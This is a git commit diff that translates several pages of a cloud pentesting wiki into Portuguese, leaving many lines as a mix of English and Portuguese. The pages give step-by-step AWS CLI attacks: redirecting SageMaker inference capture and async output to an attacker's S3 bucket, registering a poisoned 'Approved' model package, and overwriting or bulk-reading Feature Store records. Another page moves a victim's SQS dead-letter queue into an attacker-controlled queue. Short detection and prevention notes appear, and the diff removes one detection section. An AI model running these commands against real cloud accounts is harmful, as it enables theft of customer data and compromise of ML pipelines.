Translated ['src/pentesting-ci-cd/cloudflare-security/cloudflare-workers

This commit is contained in:
Translator
2025-10-23 13:44:23 +00:00
parent 05a2c3d18f
commit 00c472ff69
5 changed files with 455 additions and 168 deletions

View File

@@ -4,16 +4,16 @@
## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
Abuse SageMaker endpoint management to enable full request/response capture to an attackercontrolled S3 bucket without touching the model or container. Uses a zero/lowdowntime rolling update and only requires endpoint management permissions.
Abuse o gerenciamento de endpoints do SageMaker para habilitar captura completa de requisição/resposta para um bucket S3 controlado pelo atacante sem tocar no modelo ou container. Usa uma atualização rolling com downtime zero/baixo e requer apenas permissões de gerenciamento do endpoint.
### Requisitos
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: `s3:CreateBucket` (ou use um bucket existente na mesma conta)
- Optional (if using SSEKMS): `kms:Encrypt` on the chosen CMK
- Target: um endpoint realtime InService existente na mesma conta/região
- Opcional (se usar SSEKMS): `kms:Encrypt` na CMK escolhida
- Alvo: um endpoint realtime InService existente na mesma conta/região
### Etapas
1) Identifique um endpoint InService e obtenha as variantes de produção atuais
1) Identificar um endpoint InService e coletar as variantes de produção atuais
```bash
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
@@ -22,15 +22,15 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
```
2) Prepare o destino S3 do atacante para capturas
2) Preparar destino S3 do attacker para capturas
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
```
3) Crie um novo EndpointConfig que mantenha as mesmas variantes mas ative DataCapture para o bucket do atacante
3) Crie um novo EndpointConfig que mantenha as mesmas variantes, mas habilite DataCapture para o attacker bucket
Nota: Use explicit content types que satisfaçam a validação do CLI.
Nota: Use tipos de conteúdo explícitos que satisfaçam a validação do CLI.
```bash
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
@@ -54,7 +54,7 @@ aws sagemaker create-endpoint-config \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
```
4) Aplique a nova config com um rolling update (tempo de inatividade mínimo/nulo)
4) Aplicar a nova config com um rolling update (tempo de inatividade mínimo/nulo)
```bash
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
@@ -71,27 +71,28 @@ aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
```
### Impacto
- Exfiltração completa dos payloads de requisição e resposta de inferência em tempo real (e metadados) do endpoint alvo para um S3 bucket controlado pelo atacante.
- Sem alterações na imagem do modelo/container e apenas mudanças no nível do endpoint, permitindo um caminho de roubo de dados furtivo com interrupção operacional mínima.
- Full exfiltration de payloads de requisições e respostas de inferência em tempo real (e metadados) do endpoint alvo para um bucket S3 controlado pelo atacante.
- Sem alterações na model/container image e apenas mudanças a nível de endpoint, permitindo um stealthy data theft path com mínima interrupção operacional.
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
Abuse o gerenciamento do endpoint para redirecionar as saídas de inferência assíncrona para um S3 bucket controlado pelo atacante clonando o EndpointConfig atual e configurando AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Isso exfiltra as previsões do modelo (e quaisquer inputs transformados incluídos pelo container) sem modificar o modelo/container.
Abusar do gerenciamento do endpoint para redirecionar as saídas de inferência assíncrona para um bucket S3 controlado pelo atacante, clonando o EndpointConfig atual e configurando AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Isso exfiltrates as previsões do modelo (e quaisquer entradas transformadas incluídas pelo container) sem modificar o model/container.
### Requisitos
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: Capacidade de gravar no S3 bucket controlado pelo atacante (via a model execution role ou uma política de bucket permissiva)
- S3: Capacidade de gravar no bucket S3 controlado pelo atacante (via a função de execução do modelo ou uma política de bucket permissiva)
- Alvo: Um endpoint InService onde invocações assíncronas são (ou serão) usadas
### Etapas
1) Colete os ProductionVariants atuais do endpoint alvo
1) Obter os ProductionVariants atuais do endpoint alvo
```bash
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
```
2) Crie um bucket do atacante (garanta que a função de execução do modelo possa PutObject nele)
2) Crie um bucket do atacante (assegure que a função de execução do modelo possa PutObject nele)
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
@@ -107,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
4) Acionar uma async invocation e verificar se os objetos chegam no attacker S3
4) Acionar uma invocação assíncrona e verificar se os objetos são gravados no S3 do atacante
```bash
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
@@ -115,27 +116,28 @@ sleep 30
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
```
### Impact
- Redireciona resultados de inference assíncrona (e corpos de erro) para um S3 controlado pelo atacante, permitindo exfiltração covert de predictions e, potencialmente, inputs sensíveis pré/pós-processados produzidos pelo container, sem alterar o model code ou image e com downtime mínimo/nulo.
### Impacto
- Redireciona resultados de inferência assíncrona (e corpos de erro) para um S3 controlado pelo atacante, possibilitando exfiltração encoberta de predições e, potencialmente, entradas pré/pós-processadas sensíveis produzidas pelo container, sem alterar o código ou a imagem do modelo e com tempo de inatividade mínimo ou inexistente.
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
Se um atacante puder CreateModelPackage em um Model Package Group alvo do SageMaker, ele pode registrar uma nova versão do modelo que aponte para uma container image controlada pelo atacante e marcá-la imediatamente como Approved. Muitos pipelines CI/CD auto-deployam versões Approved para endpoints ou training jobs, resultando em execução de código do atacante sob os execution roles do serviço. Exposição cross-account pode ser ampliada por uma permissive ModelPackageGroup resource policy.
## Injeção na cadeia de suprimentos do SageMaker Model Registry via CreateModelPackage(Approved)
### Requirements
Se um atacante puder executar CreateModelPackage em um SageMaker Model Package Group alvo, ele pode registrar uma nova versão do modelo que aponta para uma imagem de container controlada pelo atacante e marcá-la imediatamente como Approved. Muitos pipelines de CI/CD implantam automaticamente versões de modelos Approved em endpoints ou training jobs, resultando em execução de código do atacante sob as funções de execução do serviço. A exposição cross-account pode ser amplificada por uma policy permissiva do recurso ModelPackageGroup.
### Requisitos
- IAM (mínimo para envenenar um grupo existente): `sagemaker:CreateModelPackage` no ModelPackageGroup alvo
- Opcional (para criar um grupo se não existir): `sagemaker:CreateModelPackageGroup`
- S3: Read access ao ModelDataUrl referenciado (ou hospedar artifacts controlados pelo atacante)
- Target: um Model Package Group que automação downstream monitora para versões Approved
- S3: Acesso de leitura ao ModelDataUrl referenciado (ou hospede artefatos controlados pelo atacante)
- Alvo: Um Model Package Group que a automação a jusante monitora para versões Approved
### Steps
1) Set region and create/find a target Model Package Group
### Passos
1) Defina a região e crie/encontre um Model Package Group alvo
```bash
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
```
2) Preparar dados fictícios do modelo no S3
2) Preparar dados fictícios de modelo no S3
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
@@ -143,7 +145,7 @@ aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
```
3) Registrar uma Approved model package version maliciosa (aqui benigna) referenciando uma imagem pública AWS DLC
3) Registrar uma Approved model package version maliciosa (aqui inofensiva) referenciando uma imagem pública AWS DLC
```bash
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
@@ -165,13 +167,14 @@ aws sagemaker create-model-package --region $REGION --model-package-group-name
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
```
### Impacto
- Poison the Model Registry com uma versão Approved que referencia código controlado pelo atacante. Pipelines que auto-deploy Approved models podem puxar e executar a imagem do atacante, resultando em execução de código sob endpoint/training roles.
- Com uma política de recurso permissiva ModelPackageGroup (PutModelPackageGroupPolicy), esse abuso pode ser acionado cross-account.
- Envenenar o Model Registry com uma versão Approved que referencia attacker-controlled code. Pipelines que auto-deploy Approved models podem pull and run a attacker image, resultando em code execution sob endpoint/training roles.
- Com uma política permissiva do recurso ModelPackageGroup (PutModelPackageGroupPolicy), esse abuso pode ser acionado cross-account.
## Feature store poisoning
Abuse `sagemaker:PutRecord` em um Feature Group com OnlineStore habilitado para sobrescrever valores de feature ao vivo consumidos pela online inference. Combinado com `sagemaker:GetRecord`, um atacante pode ler features sensíveis. Isto não requer acesso a modelos ou endpoints.
Abuse `sagemaker:PutRecord` em um Feature Group com OnlineStore habilitado para sobrescrever valores de feature ao vivo consumidos pela inferência online. Combinado com `sagemaker:GetRecord`, um attacker pode ler features sensíveis. Isto não requer acesso a models ou endpoints.
{{#ref}}
feature-store-poisoning.md
{{/ref}}
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,17 +1,19 @@
# SageMaker Feature Store online store poisoning
Abuse `sagemaker:PutRecord` on a Feature Group with OnlineStore enabled para sobrescrever valores de feature ativos consumidos pela inferência online. Combinado com `sagemaker:GetRecord`, um atacante pode ler features sensíveis e exfiltrar dados confidenciais de ML. Isso não requer acesso a modelos ou endpoints, tornando-o um ataque direto na camada de dados.
{{#include ../../../../banners/hacktricks-training.md}}
Abuse `sagemaker:PutRecord` em um Feature Group com OnlineStore habilitado para sobrescrever valores de features ao vivo consumidos pela inferência em tempo real. Combinado com `sagemaker:GetRecord`, um atacante pode ler features sensíveis. Isso não requer acesso a modelos ou endpoints.
## Requisitos
- Permissões: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
- Alvo: Feature Group com OnlineStore enabled (tipicamente backing real-time inference)
- Complexidade: **BAIXA** - Comandos simples do AWS CLI, nenhuma manipulação de modelo necessária
- Alvo: Feature Group com OnlineStore habilitado (normalmente servindo inferência em tempo real)
- Complexidade: **LOW** - Comandos simples do AWS CLI, nenhuma manipulação de modelo necessária
## Etapas
### Reconnaissance
### Reconhecimento
1) List Feature Groups with OnlineStore enabled
1) Liste Feature Groups com OnlineStore habilitado
```bash
REGION=${REGION:-us-east-1}
aws sagemaker list-feature-groups \
@@ -19,14 +21,14 @@ aws sagemaker list-feature-groups \
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
--output table
```
2) Descrever um Feature Group alvo para entender seu esquema
2) Descreva um Feature Group alvo para entender seu esquema
```bash
FG=<feature-group-name>
aws sagemaker describe-feature-group \
--region $REGION \
--feature-group-name "$FG"
```
Observe o `RecordIdentifierFeatureName`, `EventTimeFeatureName` e todas as definições de feature. Estes são necessários para criar registros válidos.
Observe o `RecordIdentifierFeatureName`, `EventTimeFeatureName` e todas as definições de feature. Elas são necessárias para criar registros válidos.
### Cenário de Ataque 1: Data Poisoning (Overwrite Existing Records)
@@ -54,18 +56,18 @@ aws sagemaker-featurestore-runtime put-record \
]" \
--target-stores OnlineStore
```
3) Verificar os dados envenenados
3) Verifique os dados envenenados
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
**Impacto**: Modelos de ML que consumirem essa feature agora verão `risk_score=0.99` para um usuário legítimo, potencialmente bloqueando suas transações ou serviços.
**Impacto**: ML models que consomem esta feature agora verão `risk_score=0.99` para um usuário legítimo, potencialmente bloqueando suas transações ou serviços.
### Attack Scenario 2: Malicious Data Injection (Create Fraudulent Records)
### Cenário de Ataque 2: Injeção Maliciosa de Dados (Criar Registros Fraudulentos)
Injetar registros completamente novos com features manipuladas para burlar controles de segurança:
Injete registros completamente novos com features manipuladas para contornar controles de segurança:
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
@@ -89,11 +91,11 @@ aws sagemaker-featurestore-runtime get-record \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999
```
**Impacto**: Um atacante cria uma identidade falsa com pontuação de risco baixa (0.01) que pode realizar transações fraudulentas de alto valor sem acionar a detecção de fraude.
**Impacto**: O atacante cria uma identidade falsa com baixa pontuação de risco (0.01) que pode realizar transações fraudulentas de alto valor sem acionar a detecção de fraude.
### Cenário de Ataque 3: Exfiltração de Dados Sensíveis
Ler múltiplos registros para extrair features confidenciais e mapear o comportamento do modelo:
Ler múltiplos registros para extrair features confidenciais e perfilar o comportamento do modelo:
```bash
# Exfiltrate data for known users
for USER_ID in user-001 user-002 user-003 user-999; do
@@ -104,9 +106,9 @@ aws sagemaker-featurestore-runtime get-record \
--record-identifier-value-as-string ${USER_ID}
done
```
**Impacto**: features confidenciais (pontuações de risco, padrões de transações, dados pessoais) expostos a um atacante.
**Impacto**: Recursos confidenciais (escores de risco, padrões de transação, dados pessoais) expostos ao atacante.
### Criação de Feature Group de Teste/Demonstração (Opcional)
### Criação de Feature Group para Teste/Demo (Opcional)
Se precisar criar um Feature Group de teste:
```bash
@@ -141,20 +143,6 @@ fi
echo "Feature Group ready: $FG"
```
## Detecção
Monitore o CloudTrail em busca de padrões suspeitos:
- eventos `PutRecord` de entidades IAM incomuns ou endereços IP
- Chamadas `PutRecord` ou `GetRecord` em alta frequência
- `PutRecord` com valores de feature anômalos (por exemplo, risk_score fora do intervalo normal)
- Operações em massa `GetRecord` indicando exfiltração em massa
- Acesso fora do horário comercial normal ou de locais inesperados
Implemente detecção de anomalias:
- Validação de valores de feature (por exemplo, risk_score deve ser 0.0-1.0)
- Análise de padrões de escrita (frequência, horários, identidade da origem)
- Detecção de drift de dados (mudanças súbitas nas distribuições de feature)
## Referências
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
- [Documentação do AWS SageMaker Feature Store](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
- [Melhores práticas de segurança do Feature Store](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)

View File

@@ -1,53 +1,55 @@
# AWS Exfiltração do DLQ do SQS via StartMessageMoveTask
# AWS SQS DLQ Redrive Exfiltration via StartMessageMoveTask
## Descrição
{{#include ../../../banners/hacktricks-training.md}}
Abuse tarefas de movimentação de mensagens do SQS para roubar todas as mensagens acumuladas na Dead-Letter Queue (DLQ) da vítima, redirecionando-as para uma fila controlada pelo atacante usando `sqs:StartMessageMoveTask`. Esta técnica explora o recurso legítimo de recuperação de mensagens da AWS para exfiltrar dados sensíveis que se acumularam em DLQs ao longo do tempo.
## Description
## O que é um Dead-Letter Queue (DLQ)?
Abuse SQS message move tasks to steal all accumulated messages from a victim's Dead-Letter Queue (DLQ) by redirecting them to an attacker-controlled queue using `sqs:StartMessageMoveTask`. This technique exploits AWS's legitimate message recovery feature to exfiltrate sensitive data that has accumulated in DLQs over time.
Uma Dead-Letter Queue é uma fila especial do SQS onde mensagens são enviadas automaticamente quando não conseguem ser processadas com sucesso pela aplicação principal. Essas mensagens com falha frequentemente contêm:
## What is a Dead-Letter Queue (DLQ)?
Uma Dead-Letter Queue é uma fila SQS especial onde mensagens são enviadas automaticamente quando falham ao serem processadas pela aplicação principal. Essas mensagens com falha frequentemente contêm:
- Dados sensíveis da aplicação que não puderam ser processados
- Detalhes de erro e informações de depuração
- Detalhes de erro e informações de debug
- Informações Pessoais Identificáveis (PII)
- Tokens de API, credenciais ou outros segredos
- Dados de transações críticos para o negócio
DLQs atuam como um "cemitério" para mensagens com falha, tornando-as alvos valiosos, pois acumulam dados sensíveis ao longo do tempo que as aplicações não conseguiram processar adequadamente.
DLQs atuam como um "cemitério" para mensagens com falha, tornando-as alvos valiosos, já que acumulam dados sensíveis ao longo do tempo que as aplicações não conseguiram processar corretamente.
## Cenário de Ataque
## Attack Scenario
**Exemplo do mundo real:**
1. **Aplicação de e-commerce** processa pedidos de clientes através do SQS
2. **Alguns pedidos falham** (problemas de pagamento, estoque, etc.) e são movidos para uma DLQ
3. **DLQ acumula** semanas/meses de pedidos com falha contendo dados de clientes: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **Atacante obtém acesso** às credenciais AWS com permissões SQS
5. **Atacante descobre** que a DLQ contém milhares de pedidos com falha com dados sensíveis
6. **Em vez de tentar acessar mensagens individuais** (lento e óbvio), o atacante usa `StartMessageMoveTask` para transferir em massa TODAS as mensagens para sua própria fila
7. **Atacante extrai** todos os dados sensíveis históricos em uma única operação
**Real-world example:**
1. **E-commerce application** processes customer orders through SQS
2. **Some orders fail** (payment issues, inventory problems, etc.) and get moved to a DLQ
3. **DLQ accumulates** weeks/months of failed orders containing customer data: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **Attacker gains access** to AWS credentials with SQS permissions
5. **Attacker discovers** the DLQ contains thousands of failed orders with sensitive data
6. **Instead of trying to access individual messages** (slow and obvious), attacker uses `StartMessageMoveTask` to bulk transfer ALL messages to their own queue
7. **Attacker extracts** all historical sensitive data in one operation
## Requisitos
- A fila de origem deve estar configurada como DLQ (referenciada por pelo menos uma RedrivePolicy de fila).
- Permissões IAM (executando como o principal da vítima comprometida):
- Na DLQ (origem): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
- Na fila de destino: permissão para entregar mensagens (por exemplo, política da fila permitindo `sqs:SendMessage` do principal da vítima). Para destinos na mesma conta isso normalmente é permitido por padrão.
- Se SSE-KMS estiver habilitado: na CMK de origem `kms:Decrypt`, e na CMK de destino `kms:GenerateDataKey`, `kms:Encrypt`.
## Requirements
- The source queue must be configured as a DLQ (referenced by at least one queue RedrivePolicy).
- IAM permissions (run as the compromised victim principal):
- On DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
- On destination queue: permission to deliver messages (e.g., queue policy allowing `sqs:SendMessage` from the victim principal). For same-account destinations this is typically allowed by default.
- If SSE-KMS is enabled: on source CMK `kms:Decrypt`, and on destination CMK `kms:GenerateDataKey`, `kms:Encrypt`.
## Impacto
Exfiltrar cargas úteis sensíveis acumuladas em DLQs (eventos com falha, PII, tokens, payloads de aplicações) em alta velocidade usando APIs nativas do SQS. Funciona entre contas se a política da fila de destino permitir `SendMessage` do principal da vítima.
## Impact
Exfiltrar payloads sensíveis acumulados em DLQs (eventos com falha, PII, tokens, payloads de aplicação) em alta velocidade usando APIs nativas do SQS. Funciona cross-account se a política da fila de destino permitir `SendMessage` a partir do principal da vítima.
## Como Abusar
## How to Abuse
- Identificar o ARN da DLQ da vítima e garantir que ela esteja realmente referenciada como DLQ por alguma fila (qualquer fila serve).
- Identificar o ARN do DLQ da vítima e garantir que ele esteja realmente referenciado como DLQ por alguma fila (qualquer fila serve).
- Criar ou escolher uma fila de destino controlada pelo atacante e obter seu ARN.
- Iniciar uma tarefa de movimentação de mensagens da DLQ da vítima para sua fila de destino.
- Iniciar uma message move task do DLQ da vítima para sua fila de destino.
- Monitorar o progresso ou cancelar se necessário.
### Exemplo CLI: Exfiltrando Dados de Clientes da DLQ de E-commerce
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
**Cenário**: Um atacante comprometeu credenciais AWS e descobriu que uma aplicação de e-commerce usa SQS com uma DLQ que contém tentativas de processamento de pedidos de clientes com falha.
**Scenario**: An attacker has compromised AWS credentials and discovered that an e-commerce application uses SQS with a DLQ containing failed customer order processing attempts.
1) **Descobrir e examinar a DLQ da vítima**
1) **Discover and examine the victim DLQ**
```bash
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq
@@ -61,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
```
2) **Criar fila de destino controlada pelo atacante**
2) **Criar attacker-controlled fila de destino**
```bash
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
@@ -84,7 +86,7 @@ echo "Move task started: $TASK_RESPONSE"
# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
```
4) **Recolher os dados sensíveis roubados**
4) **Coletar os dados sensíveis roubados**
```bash
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
@@ -113,21 +115,21 @@ echo "Received batch of stolen data..."
echo "$MESSAGES" >> stolen_customer_data.json
done
```
### Notas cross-account
- A fila de destino deve ter uma resource policy que permita ao principal da vítima executar `sqs:SendMessage` (e, se usado, concessões/permissões do KMS).
### Observações sobre contas cruzadas
- A fila de destino deve ter uma política de recurso permitindo que o principal da vítima execute `sqs:SendMessage` (e, se usado, KMS grants/permissions).
## Por que este ataque é eficaz
1. **Funcionalidade legítima da AWS**: Usa funcionalidade nativa da AWS, tornando difícil detectar como malicioso
2. **Operação em massa**: Transfere milhares de mensagens rapidamente em vez de acesso individual lento
1. **Funcionalidade legítima da AWS**: Usa funcionalidades integradas da AWS, tornando difícil detectar como malicioso
2. **Operação em lote**: Transfere milhares de mensagens rapidamente ao invés de acesso individual lento
3. **Dados históricos**: DLQs acumulam dados sensíveis ao longo de semanas/meses
4. **Fora do radar**: Muitas organizações não monitoram de perto o acesso às DLQs
5. **Capaz de cross-account**: Pode exfiltrate para a própria conta AWS do atacante se as permissões permitirem
5. **Capaz entre contas**: Pode exfiltrar para a própria conta AWS do atacante se as permissões permitirem
## Detecção e Prevenção
### Detecção
Monitore o CloudTrail em busca de chamadas API `StartMessageMoveTask` suspeitas:
Monitore o CloudTrail por chamadas API suspeitas `StartMessageMoveTask`:
```json
{
"eventName": "StartMessageMoveTask",
@@ -143,8 +145,10 @@ Monitore o CloudTrail em busca de chamadas API `StartMessageMoveTask` suspeitas:
}
```
### Prevenção
1. **Princípio do menor privilégio**: Restringir as permissões `sqs:StartMessageMoveTask` somente às funções necessárias
2. **Monitorar DLQs**: Configure alarmes do CloudWatch para atividade incomum nas DLQs
3. **Políticas entre contas**: Revise cuidadosamente as políticas de fila do SQS que permitem acesso entre contas
4. **Criptografar DLQs**: Use SSE-KMS com políticas de chave restritas
5. **Limpeza regular**: Não permita que dados sensíveis se acumulem nas DLQs indefinidamente
1. **Princípio do menor privilégio**: Restringir permissões `sqs:StartMessageMoveTask` apenas aos roles necessários
2. **Monitorar DLQs**: Configurar alarmes do CloudWatch para atividade incomum nas DLQs
3. **Políticas entre contas**: Revisar cuidadosamente as políticas da fila SQS que permitem acesso entre contas
4. **Criptografar DLQs**: Usar SSE-KMS com políticas de chave restritas
5. **Limpeza regular**: Não permitir que dados sensíveis se acumulem nas DLQs indefinidamente
{{#include ../../../banners/hacktricks-training.md}}